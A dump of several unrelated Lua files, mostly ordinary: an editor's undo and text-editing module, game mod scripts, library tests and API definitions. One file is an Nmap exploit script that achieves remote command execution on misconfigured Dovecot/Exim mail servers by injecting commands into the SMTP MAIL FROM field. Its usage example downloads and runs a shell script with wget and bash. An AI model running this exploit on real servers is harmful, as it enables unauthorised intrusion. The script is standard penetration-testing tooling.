local cmd = undo_stack[undo_stack.idx - 1]
if not cmd then return end
undo_stack.idx = undo_stack.idx - 1
-- handle command
if cmd.type == "insert" then
local line, col, text = table.unpack(cmd)
self:raw_insert(line, col, text, redo_stack, cmd.time)
elseif cmd.type == "remove" then
local line1, col1, line2, col2 = table.unpack(cmd)
self:raw_remove(line1, col1, line2, col2, redo_stack, cmd.time)
elseif cmd.type == "selection" then
self.selections = { table.unpack(cmd) }
self:sanitize_selection()
end
modified = modified or (cmd.type ~= "selection")
-- if next undo command is within the merge timeout then treat as a single
-- command and continue to execute it
local next = undo_stack[undo_stack.idx - 1]
if next and math.abs(cmd.time - next.time) < config.undo_merge_timeout then
return pop_undo(self, undo_stack, redo_stack, modified)
end
if modified then
self:on_text_change("undo")
end
end
function Doc:raw_insert(line, col, text, undo_stack, time)
-- split text into lines and merge with line at insertion point
local lines = split_lines(text)
local len = #lines[#lines]
local before = self.lines[line]:sub(1, col - 1)
local after = self.lines[line]:sub(col)
for i = 1, #lines - 1 do
lines[i] = lines[i] .. "\n"
end
lines[1] = before .. lines[1]
lines[#lines] = lines[#lines] .. after
-- splice lines into line array
common.splice(self.lines, line, 1, lines)
-- keep cursors where they should be
for idx, cline1, ccol1, cline2, ccol2 in self:get_selections(true, true) do
if cline1 < line then break end
local line_addition = (line < cline1 or col < ccol1) and #lines - 1 or 0
local column_addition = line == cline1 and ccol1 > col and len or 0
self:set_selections(idx, cline1 + line_addition, ccol1 + column_addition, cline2 + line_addition, ccol2 + column_addition)
end
-- push undo
local line2, col2 = self:position_offset(line, col, #text)
push_undo(undo_stack, time, "selection", table.unpack(self.selections))
push_undo(undo_stack, time, "remove", line, col, line2, col2)
-- update highlighter and assure selection is in bounds
self.highlighter:insert_notify(line, #lines - 1)
self:sanitize_selection()
end
function Doc:raw_remove(line1, col1, line2, col2, undo_stack, time)
-- push undo
local text = self:get_text(line1, col1, line2, col2)
push_undo(undo_stack, time, "selection", table.unpack(self.selections))
push_undo(undo_stack, time, "insert", line1, col1, text)
-- get line content before/after removed text
local before = self.lines[line1]:sub(1, col1 - 1)
local after = self.lines[line2]:sub(col2)
-- splice line into line array
common.splice(self.lines, line1, line2 - line1 + 1, { before .. after })
-- move all cursors back if they share a line with the removed text
for idx, cline1, ccol1, cline2, ccol2 in self:get_selections(true, true) do
if cline1 < line2 then break end
local line_removal = line2 - line1
local column_removal = line2 == cline2 and col2 < ccol1 and (line2 == line1 and col2 - col1 or col2) or 0
self:set_selections(idx, cline1 - line_removal, ccol1 - column_removal, cline2 - line_removal, ccol2 - column_removal)
end
-- update highlighter and assure selection is in bounds
self.highlighter:remove_notify(line1, line2 - line1)
self:sanitize_selection()
end
function Doc:insert(line, col, text)
self.redo_stack = { idx = 1 }
line, col = self:sanitize_position(line, col)
self:raw_insert(line, col, text, self.undo_stack, system.get_time())
self:on_text_change("insert")
end
function Doc:remove(line1, col1, line2, col2)
self.redo_stack = { idx = 1 }
line1, col1 = self:sanitize_position(line1, col1)
line2, col2 = self:sanitize_position(line2, col2)
line1, col1, line2, col2 = sort_positions(line1, col1, line2, col2)
self:raw_remove(line1, col1, line2, col2, self.undo_stack, system.get_time())
self:on_text_change("remove")
end
function Doc:undo()
pop_undo(self, self.undo_stack, self.redo_stack, false)
end
function Doc:redo()
pop_undo(self, self.redo_stack, self.undo_stack, false)
end
function Doc:text_input(text, idx)
for sidx, line1, col1, line2, col2 in self:get_selections(true, idx or true) do
if line1 ~= line2 or col1 ~= col2 then
self:delete_to_cursor(sidx)
end
self:insert(line1, col1, text)
self:move_to_cursor(sidx, #text)
end
end
function Doc:replace_cursor(idx, line1, col1, line2, col2, fn)
local old_text = self:get_text(line1, col1, line2, col2)
local new_text, n = fn(old_text)
if old_text ~= new_text then
self:insert(line2, col2, new_text)
self:remove(line1, col1, line2, col2)
if line1 == line2 and col1 == col2 then
line2, col2 = self:position_offset(line1, col1, #new_text)
self:set_selections(idx, line1, col1, line2, col2)
end
end
return n
end
function Doc:replace(fn)
local has_selection, n = false, 0
for idx, line1, col1, line2, col2 in self:get_selections(true) do
if line1 ~= line2 or col1 ~= col2 then
n = n + self:replace_cursor(idx, line1, col1, line2, col2, fn)
has_selection = true
end
end
if not has_selection then
self:set_selection(table.unpack(self.selections))
n = n + self:replace_cursor(1, 1, 1, #self.lines, #self.lines[#self.lines], fn)
end
return n
end
function Doc:delete_to_cursor(idx, ...)
for sidx, line1, col1, line2, col2 in self:get_selections(true, idx) do
if line1 ~= line2 or col1 ~= col2 then
self:remove(line1, col1, line2, col2)
else
local l2, c2 = self:position_offset(line1, col1, ...)
self:remove(line1, col1, l2, c2)
line1, col1 = sort_positions(line1, col1, l2, c2)
end
self:set_selections(sidx, line1, col1)
end
self:merge_cursors(idx)
end
function Doc:delete_to(...) return self:delete_to_cursor(nil, ...) end
function Doc:move_to_cursor(idx, ...)
for sidx, line, col in self:get_selections(false, idx) do
self:set_selections(sidx, self:position_offset(line, col, ...))
end
self:merge_cursors(idx)
end
function Doc:move_to(...) return self:move_to_cursor(nil, ...) end
function Doc:select_to_cursor(idx, ...)
for sidx, line, col, line2, col2 in self:get_selections(false, idx) do
line, col = self:position_offset(line, col, ...)
self:set_selections(sidx, line, col, line2, col2)
end
self:merge_cursors(idx)
end
function Doc:select_to(...) return self:select_to_cursor(nil, ...) end
function Doc:get_indent_string()
local indent_type, indent_size = self:get_indent_info()
if indent_type == "hard" then
return "\t"
end
return string.rep(" ", indent_size)
end
-- returns the size of the original indent, and the indent
-- in your config format, rounded either up or down
function Doc:get_line_indent(line, rnd_up)
local _, e = line:find("^[ \t]+")
local indent_type, indent_size = self:get_indent_info()
local soft_tab = string.rep(" ", indent_size)
if indent_type == "hard" then
local indent = e and line:sub(1, e):gsub(soft_tab, "\t") or ""
return e, indent:gsub(" +", rnd_up and "\t" or "")
else
local indent = e and line:sub(1, e):gsub("\t", soft_tab) or ""
local number = #indent / #soft_tab
return e, indent:sub(1,
(rnd_up and math.ceil(number) or math.floor(number))*#soft_tab)
end
end
-- un/indents text; behaviour varies based on selection and un/indent.
-- * if there's a selection, it will stay static around the
-- text for both indenting and unindenting.
-- * if you are in the beginning whitespace of a line, and are indenting, the
-- cursor will insert the exactly appropriate amount of spaces, and jump the
-- cursor to the beginning of first non whitespace characters
-- * if you are not in the beginning whitespace of a line, and you indent, it
-- inserts the appropriate whitespace, as if you typed them normally.
-- * if you are unindenting, the cursor will jump to the start of the line,
-- and remove the appropriate amount of spaces (or a tab).
function Doc:indent_text(unindent, line1, col1, line2, col2)
local text = self:get_indent_string()
local _, se = self.lines[line1]:find("^[ \t]+")
local in_beginning_whitespace = col1 == 1 or (se and col1 <= se + 1)
local has_selection = line1 ~= line2 or col1 ~= col2
if unindent or has_selection or in_beginning_whitespace then
local l1d, l2d = #self.lines[line1], #self.lines[line2]
for line = line1, line2 do
local e, rnded = self:get_line_indent(self.lines[line], unindent)
self:remove(line, 1, line, (e or 0) + 1)
self:insert(line, 1,
unindent and rnded:sub(1, #rnded - #text) or rnded .. text)
end
l1d, l2d = #self.lines[line1] - l1d, #self.lines[line2] - l2d
if (unindent or in_beginning_whitespace) and not has_selection then
local start_cursor = (se and se + 1 or 1) + l1d or #(self.lines[line1])
return line1, start_cursor, line2, start_cursor
end
return line1, col1 + l1d, line2, col2 + l2d
end
self:insert(line1, col1, text)
return line1, col1 + #text, line1, col1 + #text
end
-- For plugins to add custom actions of document change
function Doc:on_text_change(type)
end
-- For plugins to get notified when a document is closed
function Doc:on_close()
core.log_quiet("Closed doc \"%s\"", self:get_name())
end
return Doc
|
--[[
© 2020 TERRANOVA do not share, re-distribute or modify
without permission of its author.
--]]
ITEM.name = "Approved Milk";
ITEM.model = "models/props_junk/garbage_milkcarton002a.mdl";
ITEM.width = 1;
ITEM.height = 2;
ITEM.description = "A large carton of well-sealed full-cream cow's milk.";
ITEM.category = "Civil-Approved Drinks";
ITEM.permit = "consumables";
ITEM.flag = "f"
ITEM.price = 16;
ITEM.capacity = 1000
ITEM.restoreStamina = 12;
ITEM.dropSound = {
"terranova/ui/carton1.wav",
"terranova/ui/carton2.wav",
"terranova/ui/carton3.wav",
}
|
local extMetatable = {
__index = Ext,
__newindex = function (t, k, v)
if k == "GetHitChance" or k == "StatusGetEnterChance" then
Ext.RegisterListener(k, v)
Ext.PrintError("Setting Ext." .. k .. " is deprecated")
else
Ext.PrintError("Couldn't set Ext." .. k .. ": Please avoid extending the Ext table - it is dangerous and may break compatibility!")
end
end
}
local oldExt = Ext
Ext = {}
setmetatable(Ext, extMetatable)
dofile = function ()
error("dofile() has been disabled for security reasons")
end
loadfile = function ()
error("loadfile() has been disabled for security reasons")
end
load = function ()
error("load() has been disabled for security reasons")
end
loadstring = function ()
error("loadstring() has been disabled for security reasons")
end
rawget = function ()
error("rawget() has been disabled for security reasons")
end
rawset = function ()
error("rawset() has been disabled for security reasons")
end
rawequal = function ()
error("rawequal() has been disabled for security reasons")
end
local oldDebug = debug
debug = {
traceback = oldDebug.traceback
}
oldDebug = nil
-- math.random replaced by custom implementation
math.random = Ext.Random
-- math.randomseed not implemented
math.randomseed = function ()
error("math.randomseed() not implemented")
end
|
local Server = require('server')
local Engine = require('../')
local http_stack_layers
http_stack_layers = function()
return {
Server.use('route')({
{
'GET /$',
function(self, nxt)
return self:render('public/index.html', self.req.context)
end
}
}),
Engine('/echo', {
onconnection = function(conn)
p('CONNECTED TO /echo', conn.id)
conn:on('message', function(m)
conn:send(m)
end)
conn:on('close', function()
p('DISCONNECTED FROM /echo', conn.id)
end)
end
}),
Server.use('static')('/', 'public/', { }),
}
end
local s1 = Server.run(http_stack_layers(), 3000, '0.0.0.0')
print('Server listening at http://localhost:3000/')
|
require("cfg.lsp")
require("cfg.signs")
require("cfg.line")
require("cfg.telescope")
|
function getResourceHandlingList ( resource )
resource = validateResourcePointer ( resource )
if not resource then
if DEBUGMODE then
error ( "Invalid resource at getResourceHandlingList!", 2 )
end
return false
end
return list
end
function saveHandlingToResource ( vehicle, resource, model )
if not isValidVehicle ( vehicle ) then
if DEBUGMODE then
error ( "Invalid vehicle '"..tostring(vehicle).."' at saveHandlingToResource!", 2 )
end
return false
end
resource = validateResourcePointer ( resource )
if not resource then
if DEBUGMODE then
error ( "Invalid resource at saveHandlingToResource!", 2 )
end
return false
end
if not isValidVehicleModel ( model ) then
if DEBUGMODE then
error ( "Invalid model '"..tostring(model).."' at saveHandlingToResource!", 2 )
end
return false
end
if clientside then
local function trigger ( )
return triggerServerEvent ( "saveToResource", localPlayer, vehicle, resource, model )
end
if xmlCache.resourcesaves[resource] and xmlCache.resourcesaves[resource][model] then
guiCreateWarningMessage ( text.askToReplace, 2, {trigger} )
return true
end
trigger ( )
return true
end
if not fileExists ( ":"..resource.."/handling.lua" ) then
local loader = fileCreate ( ":"..resource.."/handling.lua" )
local copyfile = fileOpen ( "utils/resource_handlingloader" )
local copybuffer = fileRead ( copyfile, fileGetSize ( copyfile ) )
fileWrite ( loader, copybuffer )
fileClose ( loader )
fileClose ( copyfile )
outputDebugString ( "Created new handling loader script for resource '"..resource.."'" )
end
local resourceMeta = xmlLoadFile ( ":"..resource.."/meta.xml" )
local entryFound = false
for _,node in ipairs ( xmlNodeGetChildren ( resourceMeta ) ) do
if xmlNodeGetName ( node ) == "script" then
if xmlNodeGetAttribute ( node, "src" ) == "handling.lua" then
entryFound = true
if xmlNodeGetAttribute ( node, "type" ) ~= "server" then
xmlNodeSetAttribute ( node, "type", "server" )
end
break
end
end
end
if not entryFound then
local node = xmlCreateChild ( resourceMeta, "script" )
xmlNodeSetAttribute ( node, "src", "handling.lua" )
xmlNodeSetAttribute ( node, "type", "server" )
outputDebugString ( "Added meta.xml entry for the handling loader script in resource '"..resource.."'" )
end
xmlSaveFile ( resourceMeta )
xmlUnloadFile ( resourceMeta )
local handlingXML = xmlLoadFile ( ":"..resource.."/handling.xml" )
if not handlingXML then
handlingXML = xmlCreateFile ( ":"..resource.."/handling.xml", "root" )
outputDebugString ( "Created new handling file for resource '"..resource.."'" )
end
local xmlEntry = xmlFindChild ( handlingXML, tostring ( model ), 0 )
if not xmlEntry then
xmlEntry = xmlCreateChild ( handlingXML, tostring ( model ) )
end
for property,value in pairs ( getVehicleHandling ( vehicle ) ) do
xmlNodeSetAttribute ( xmlEntry, property, value )
end
xmlSaveFile ( handlingXML )
xmlUnloadFile ( handlingXML )
return true
end
if serverside then
addEvent ( "saveToResource", true )
addEventHandler ( "saveToResource", root, saveHandlingToResource )
end
function loadHandlingFromResource ( vehicle, resource, model )
if not isValidVehicle ( vehicle ) then
return false
end
resource = validateResourcePointer ( resource )
if not resource then
return false
end
if not isValidVehicleModel ( model ) then
return false
end
if clientside then
local function trigger ( )
return triggerServerEvent ( "loadFromResource", root, vehicle, resource, model )
end
if not isVehicleSaved ( vehicle ) then
guiCreateWarningMessage ( "text.askToLoad", 2, {trigger} )
return true
end
trigger ( )
return true
end
local handlingXML = xmlLoadFile ( ":"..resource.."/handling.xml" )
if not handlingXML then
outputDebugString ( "Can't retrieve resource handling as it has no handling file at 'loadHandlingFromResource'! ["..resource.."]", 2 )
return false
end
local xmlEntry = xmlFindChild ( handlingXML, tostring ( model ), 0 )
if not xmlEntry then
outputDebugString ( "There's no handling for model "..tostring(model).." in resource "..resource.." at 'loadHandlingFromResource'!", 2 )
return false
end
local handlingTable = {}
for property,value in pairs ( xmlNodeGetAttributes ( xmlEntry ) ) do
handlingTable[property] = stringToValue ( property, value )
end
loadHandlingTable ( handlingTable )
return true
end
if serverside then
addEvent ( "loadFromResource", true )
addEventHandler ( "loadFromResource", root, loadHandlingFromResource )
end
function saveHandlingToServer ( player, vehicle, name, description )
if not isValidPlayer ( player ) then
return false
end
if not isValidVehicle ( vehicle ) then
return false
end
if type ( name ) ~= "string" then
return false
end
if type ( description ) ~= "string" then
return false
end
local cache = xmlCache.serversaves[string.lower(name)]
if clientside then
local function trigger ( )
return triggerServerEvent ( "saveToServer", localPlayer, player, vehicle, name, description )
end
if cache then
guiCreateWarningMessage ( text.askToReplace, 2, {trigger} )
end
trigger ( )
return true
end
local handlingXML = xmlGetFile ( server_handling_file )
if not handlingXML then
handlingXML = xmlAddFile ( server_handling_file )
outputDebugString ( "Created new server handling file ["..tostring(handlingXML).."]" )
end
if cache then
xmlDestroyNode ( cache.node.save )
end
local playerName = getPlayerName ( player )
local vehicleModel = tostring ( getElementModel ( vehicle ) )
local saveNode = xmlCreateChild ( handlingXML, "save" )
local handlingNode = xmlCreateChild ( saveNode, "handling" )
local addCache = {
name = name,
description = description,
player = playerName,
node = {
save = saveNode,
handling = handlingNode
},
handling = {}
}
xmlNodeSetAttribute ( saveNode, "name", name )
xmlNodeSetAttribute ( saveNode, "description", description )
xmlNodeSetAttribute ( saveNode, "player", playerName )
for property,value in pairs ( getVehicleHandling ( vehicle ) ) do
addCache.handling[property] = tostring ( value )
xmlNodeSetAttribute ( handlingNode, property, tostring ( value ) )
end
xmlSaveFile ( handlingXML )
cache = addCache
triggerClientEvent ( player, "updateClientCache", player, "serversaves", string.lower ( name ), addCache )
addLogEntry ( --[[ FILL ME ]] )
return true
end
if serverside then
addEvent ( "saveToServer", true )
addEventHandler ( "saveToServer", root, saveHandlingToServer )
end
function saveHandlingToClient ( vehicle, name, description )
if not isValidVehicle ( vehicle ) then
return false
end
local handlingXML = xmlGetFile ( client_handling_file )
if not handlingXML then
handlingXML = xmlAddFile ( client_handling_file )
outputDebugString ( "Created new client handling file ["..tostring(handlingXML).."]" )
end
local cache = xmlCache.clientsaves[string.lower(name)]
local text = language[setting.language]
--------------------------------------------------
local function save ( )
local vehicleModel = tostring ( getElementModel ( vehicle ) ) -- MODEL NEEDED? its included with the handling!
local saveNode = xmlCreateChild ( handlingXML, "save" )
local handlingNode = xmlCreateChild ( saveNode, "handling" )
cache = {
model = vehicleModel,
name = name,
description = description,
node = {
save = saveNode,
handling = handlingNode
},
handling = {}
}
xmlNodeSetAttribute ( saveNode, "model", vehicleModel )
xmlNodeSetAttribute ( saveNode, "name", name )
xmlNodeSetAttribute ( saveNode, "description", description )
for property,value in pairs ( getVehicleHandling ( vehicle ) ) do
cache.handling[property] = tostring ( value )
xmlNodeSetAttribute ( handlingNode, property, tostring ( value ) )
end
xmlSaveFile ( handlingXML )
outputHandlingLog ( text.succesSavedClient )
showMenu ( previousMenu )
return true
end
--------------------------------------------------
if cache then
local function func ( )
xmlDestroyNode ( cache.node.save )
save ( )
end
guiCreateWarningMessage ( text.askToReplace, 2, {func} )
return true
end
save ( )
return true
end
function loadHandlingFromClient ( vehicle, lowerCaseName )
loadHandling ( vehicle, lowerCaseName, "clientsaves" )
return
end
function loadHandlingFromServer ( vehicle, lowerCaseName )
loadHandling ( vehicle, lowerCaseName, "serversaves" )
return
end
function loadHandling ( vehicle, lowerCaseName, cacheLib )
if not isValidVehicle ( vehicle ) then
return false
end
local cache = xmlCache[cachelib][lowerCaseName]
if not cache then
outputHandlingLog ( "unexisting save" )
return false
end
local function hndload ( )
loadHandlingTable ( vehicle, cache.handling )
showMenu ( previousMenu )
end
if not isSaved ( vehicle ) then
guiCreateWarningMessage ( text.askToLoad, 2, {hndload} )
return true
end
hndload ( )
end
function shareHandlingWithPlayer ( senderPlayer, targetPlayer, vehicle )
if not isValidPlayer ( senderPlayer ) then
return false
end
if not isValidPlayer ( targetPlayer ) then
return false
end
if not isValidVehicle ( vehicle ) then
return false
end
if clientside then
triggerServerEvent ( "shareHandling", localPlayer, senderPlayer, targetPlayer, vehicle )
--guiCreateWarningMessage ( "string to replace | send your handling to player "..getPlayerName ( targetPlayer ) )
return true
end
triggerClientEvent ( targetPlayer, "receiveHandling", targetPlayer, senderPlayer, vehicle )
return true
end
if serverside then
addEvent ( "shareHandling", true )
addEventHandler ( "shareHandling", root, shareHandlingWithPlayer )
end
function receiveSharedHandling ( senderPlayer, vehicle )
outputDebugString ( "Recieved handling from "..getPlayerName ( senderPlayer ).." :D" )
return true
end
addEvent ( "receiveHandling", true )
addEventHandler ( "receiveHandling", root, receiveSharedHandling )
|
----
-- Tests for the xlsxwriter.lua xml writer class.
--
-- Copyright 2014-2015, John McNamara, jmcnamara@cpan.org
--
require "Test.More"
local utility = require "xlsxwriter.utility"
local expected
local got
local caption
local color
plan(4)
----
-- Test color conversions.
--
color = 'blue'
caption = string.format(" \tcolor('%s')", color)
expected = 'FF0000FF'
got = utility.excel_color(color)
is(got, expected, caption)
----
-- Test color conversions.
--
color = 'yellow'
caption = string.format(" \tcolor('%s')", color)
expected = 'FFFFFF00'
got = utility.excel_color(color)
is(got, expected, caption)
----
-- Test color conversions.
--
color = '#0000FF'
caption = string.format(" \tcolor('%s')", color)
expected = 'FF0000FF'
got = utility.excel_color(color)
is(got, expected, caption)
----
-- Test color conversions.
--
color = '#0000Ff'
caption = string.format(" \tcolor('%s')", color)
expected = 'FF0000FF'
got = utility.excel_color(color)
is(got, expected, caption)
|
require "autodeconstruct"
function msg_all(message)
if message[1] == "autodeconstruct-debug" then
table.insert(message, 2, debug.getinfo(2).name)
end
for _,p in pairs(game.players) do
p.print(message)
end
end
global.debug = false
remote.add_interface("ad", {
debug = function()
global.debug = not global.debug
end,
init = function()
autodeconstruct.init_globals()
end
})
script.on_init(function()
local _, err = pcall(autodeconstruct.init_globals)
if err then msg_all({"autodeconstruct-err-generic", err}) end
end)
script.on_configuration_changed(function()
local _, err = pcall(autodeconstruct.init_globals)
if err then msg_all({"autodeconstruct-err-generic", err}) end
end)
script.on_event(defines.events.on_runtime_mod_setting_changed, function(event)
if (event.setting == "autodeconstruct-remove-fluid-drills" and
settings.global['autodeconstruct-remove-fluid-drills'].value == true) then
local _, err = pcall(autodeconstruct.init_globals)
if err then msg_all({"autodeconstruct-err-generic", err}) end
end
end)
script.on_event(defines.events.on_cancelled_deconstruction,
function(event)
local _, err = pcall(autodeconstruct.on_cancelled_deconstruction, event)
if err then msg_all({"autodeconstruct-err-specific", "on_cancelled_deconstruction", err}) end
end,
{{filter="type", type="mining-drill"}}
)
script.on_event(defines.events.on_resource_depleted, function(event)
local _, err = pcall(autodeconstruct.on_resource_depleted, event)
if err then msg_all({"autodeconstruct-err-specific", "on_resource_depleted", err}) end
end)
|
local stub = require("luassert.stub")
describe("config", function()
local c = require("null-ls.config")
local register = stub(require("null-ls.sources"), "register")
local reset = stub(require("null-ls.sources"), "reset")
after_each(function()
register:clear()
reset:clear()
c.reset()
end)
describe("get", function()
it("should get config", function()
c.setup({ debounce = 500 })
assert.equals(c.get().debounce, 500)
end)
end)
describe("reset", function()
it("should reset config to defaults", function()
c.setup({ debounce = 500 })
c.reset()
assert.equals(c.get().debounce, 250)
end)
it("should call sources.reset", function()
c.reset()
assert.stub(reset).was_called()
end)
end)
describe("setup", function()
it("should set simple config value", function()
local debounce = 999
c.setup({ debounce = debounce })
assert.equals(c.get().debounce, debounce)
end)
it("should only setup config once", function()
c.setup({ debounce = 999 })
c.setup({ debounce = 1 })
assert.equals(c.get().debounce, 999)
end)
it("should throw if simple config type does not match", function()
local debounce = "999"
local ok, err = pcall(c.setup, { debounce = debounce })
assert.equals(ok, false)
assert.matches("expected number", err)
end)
it("should set override config value", function()
local on_attach = stub.new()
local _on_attach = function()
on_attach()
end
c.setup({ on_attach = _on_attach })
c.get().on_attach()
assert.stub(on_attach).was_called()
end)
it("should throw if override config type does not match", function()
local on_attach = { "my function" }
local ok, err = pcall(c.setup, { on_attach = on_attach })
assert.equals(ok, false)
assert.matches("expected function, nil", err)
end)
it("should throw if config value is private", function()
local ok, err = pcall(c.setup, { _setup = true })
assert.equals(ok, false)
assert.matches("expected nil", err)
end)
it("should register sources", function()
local mock_sources = { "mock-source", "mock-source-2" }
c.setup({ sources = mock_sources })
assert.stub(register).was_called_with(mock_sources)
end)
end)
end)
|
description = [[
Attempts to exploit a remote command execution vulnerability in misconfigured Dovecot/Exim mail servers.
It is important to note that the mail server will not return the output of the command. The mail server
also wont allow space characters but they can be replaced with "${IFS}". Commands can also be
concatenated with "``". The script takes care of the conversion automatically.
References:
* https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/-exim-with-dovecot-typical-misconfiguration-leads-to-remote-command-execution
* http://immunityproducts.blogspot.mx/2013/05/how-common-is-common-exim-and-dovecot.html
* CVE not available yet
]]
---
-- @usage nmap -sV --script smtp-dovecot-exim-exec --script-args smtp-dovecot-exim-exec.cmd="uname -a" <target>
-- @usage nmap -p586 --script smtp-dovecot-exim-exec --script-args smtp-dovecot-exim-exec.cmd="wget -O /tmp/p example.com/test.sh;bash /tmp/p" <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 465/tcp open smtps syn-ack
-- |_smtp-dovecot-exim-exec: Malicious payload delivered:250 OK id=XXX
--
-- @args smtp-dovecot-exim-exec.cmd Command to execute. Separate commands with ";".
-- @args smtp-dovecot-exim-exec.auth Authentication scheme (Optional).
-- @args smtp-dovecot-exim-exec.user Authentication username (Optional).
-- @args smtp-dovecot-exim-exec.pwd Authentication password (Optional).
-- @args smtp-dovecot-exim-exec.from Email address to use in the FROM field. Default: nmap+domain. (Optional).
-- @args smtp-dovecot-exim-exec.to Email address to use in the TO field. Default: nmap@mailinator.com
-- @args smtp-dovecot-exim-exec.timeout Timeout value. Default: 8000. (Optional)
-- @args smtp-dovecot-exim-exec.domain Domain name to use. It attempts to set this field automatically. (Optional)
---
author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit"}
local smtp = require "smtp"
local shortport = require "shortport"
local stdnse = require "stdnse"
portrule = shortport.port_or_service({25, 465, 587},
{"smtp", "smtps", "submission"})
action = function(host, port)
local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or "uname"
--Prepare payload
cmd = string.gsub(cmd, " ", "${IFS}")
cmd = string.gsub(cmd, ";", "``")
local user = stdnse.get_script_args(SCRIPT_NAME..".user") or nil
local pwd = stdnse.get_script_args(SCRIPT_NAME..".pwd") or nil
local from = stdnse.get_script_args(SCRIPT_NAME..".from") or "nmap@"..smtp.get_domain(host)
local to = stdnse.get_script_args(SCRIPT_NAME..".to") or "nmap@mailinator.com"
local conn_timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 8000
local smtp_domain = stdnse.get_script_args(SCRIPT_NAME..".domain") or smtp.get_domain(host)
local smtp_opts = {
ssl = true, timeout = conn_timeout, recv_before = true, lines = 1
}
local smtp_conn = smtp.connect(host, port, smtp_opts)
local status, resp = smtp.ehlo(smtp_conn, smtp_domain)
local auth_mech = stdnse.get_script_args(SCRIPT_NAME..".auth") or smtp.get_auth_mech(resp)
if type(auth_mech) == "string" then
auth_mech = { auth_mech }
end
if (user and pwd) then
status = false
stdnse.print_debug(1, "%s:Mail server requires authentication.", SCRIPT_NAME)
for i, mech in ipairs(auth_mech) do
stdnse.print_debug(1, "Trying to authenticate using the method:%s", mech)
status, resp = smtp.login(smtp_conn, user, pwd, mech)
if status then
break
end
end
if not(status) then
stdnse.print_debug(1, "%s:Authentication failed using user '%s' and password '%s'", SCRIPT_NAME, user, pwd)
return nil
end
end
--Sends MAIL cmd and injects malicious payload
local from_frags = stdnse.strsplit("@", from)
local malicious_from_field = from_frags[1].."`"..cmd.."`@"..from_frags[2]
stdnse.print_debug(1, "%s:Setting malicious MAIL FROM field to:%s", SCRIPT_NAME, malicious_from_field)
status, resp = smtp.mail(smtp_conn, malicious_from_field)
if not(status) then
stdnse.print_debug(1, "%s:Payload failed:%s", SCRIPT_NAME, resp)
return nil
end
--Sets recipient
status, resp = smtp.recipient(smtp_conn, to)
if not(status) then
stdnse.print_debug(1, "%s:Cannot set recipient:%s", SCRIPT_NAME, resp)
return nil
end
--Sets data and deliver email
status, resp = smtp.datasend(smtp_conn, "nse")
if status then
return string.format("Malicious payload delivered:%s", resp)
else
stdnse.print_debug(1, "%s:Payload could not be delivered:%s", SCRIPT_NAME, resp)
end
return nil
end
|
local factory = require 'factories.lt_factory'
return factory.createLevelApi{mapName = 'lt_horseshoe_color', color = true}
|
local FriendList =
{
Name = "FriendList",
Type = "System",
Namespace = "C_FriendList",
Functions =
{
{
Name = "AddFriend",
Type = "Function",
Arguments =
{
{ Name = "name", Type = "string", Nilable = false },
{ Name = "notes", Type = "string", Nilable = true },
},
},
{
Name = "AddIgnore",
Type = "Function",
Arguments =
{
{ Name = "name", Type = "string", Nilable = false },
},
Returns =
{
{ Name = "added", Type = "bool", Nilable = false },
},
},
{
Name = "AddOrDelIgnore",
Type = "Function",
Arguments =
{
{ Name = "name", Type = "string", Nilable = false },
},
},
{
Name = "AddOrRemoveFriend",
Type = "Function",
Arguments =
{
{ Name = "name", Type = "string", Nilable = false },
{ Name = "notes", Type = "string", Nilable = false },
},
},
{
Name = "DelIgnore",
Type = "Function",
Arguments =
{
{ Name = "name", Type = "string", Nilable = false },
},
Returns =
{
{ Name = "removed", Type = "bool", Nilable = false },
},
},
{
Name = "DelIgnoreByIndex",
Type = "Function",
Arguments =
{
{ Name = "index", Type = "number", Nilable = false },
},
},
{
Name = "GetFriendInfo",
Type = "Function",
Arguments =
{
{ Name = "name", Type = "string", Nilable = false },
},
Returns =
{
{ Name = "info", Type = "FriendInfo", Nilable = false },
},
},
{
Name = "GetFriendInfoByIndex",
Type = "Function",
Arguments =
{
{ Name = "index", Type = "number", Nilable = false },
},
Returns =
{
{ Name = "info", Type = "FriendInfo", Nilable = false },
},
},
{
Name = "GetIgnoreName",
Type = "Function",
Arguments =
{
{ Name = "index", Type = "number", Nilable = false },
},
Returns =
{
{ Name = "name", Type = "string", Nilable = true },
},
},
{
Name = "GetNumFriends",
Type = "Function",
Returns =
{
{ Name = "numFriends", Type = "number", Nilable = false },
},
},
{
Name = "GetNumIgnores",
Type = "Function",
Returns =
{
{ Name = "numIgnores", Type = "number", Nilable = false },
},
},
{
Name = "GetNumOnlineFriends",
Type = "Function",
Returns =
{
{ Name = "numOnline", Type = "number", Nilable = false },
},
},
{
Name = "GetNumWhoResults",
Type = "Function",
Returns =
{
{ Name = "numWhos", Type = "number", Nilable = false },
{ Name = "totalNumWhos", Type = "number", Nilable = false },
},
},
{
Name = "GetSelectedFriend",
Type = "Function",
Returns =
{
{ Name = "index", Type = "number", Nilable = true },
},
},
{
Name = "GetSelectedIgnore",
Type = "Function",
Returns =
{
{ Name = "index", Type = "number", Nilable = true },
},
},
{
Name = "GetWhoInfo",
Type = "Function",
Arguments =
{
{ Name = "index", Type = "number", Nilable = false },
},
Returns =
{
{ Name = "info", Type = "WhoInfo", Nilable = false },
},
},
{
Name = "IsFriend",
Type = "Function",
Arguments =
{
{ Name = "guid", Type = "string", Nilable = false },
},
Returns =
{
{ Name = "isFriend", Type = "bool", Nilable = false },
},
},
{
Name = "IsIgnored",
Type = "Function",
Arguments =
{
{ Name = "token", Type = "string", Nilable = false },
},
Returns =
{
{ Name = "isIgnored", Type = "bool", Nilable = false },
},
},
{
Name = "IsIgnoredByGuid",
Type = "Function",
Arguments =
{
{ Name = "guid", Type = "string", Nilable = false },
},
Returns =
{
{ Name = "isIgnored", Type = "bool", Nilable = false },
},
},
{
Name = "RemoveFriend",
Type = "Function",
Arguments =
{
{ Name = "name", Type = "string", Nilable = false },
},
Returns =
{
{ Name = "removed", Type = "bool", Nilable = false },
},
},
{
Name = "RemoveFriendByIndex",
Type = "Function",
Arguments =
{
{ Name = "index", Type = "number", Nilable = false },
},
},
{
Name = "SendWho",
Type = "Function",
Arguments =
{
{ Name = "filter", Type = "string", Nilable = false },
},
},
{
Name = "SetFriendNotes",
Type = "Function",
Arguments =
{
{ Name = "name", Type = "string", Nilable = false },
{ Name = "notes", Type = "string", Nilable = false },
},
Returns =
{
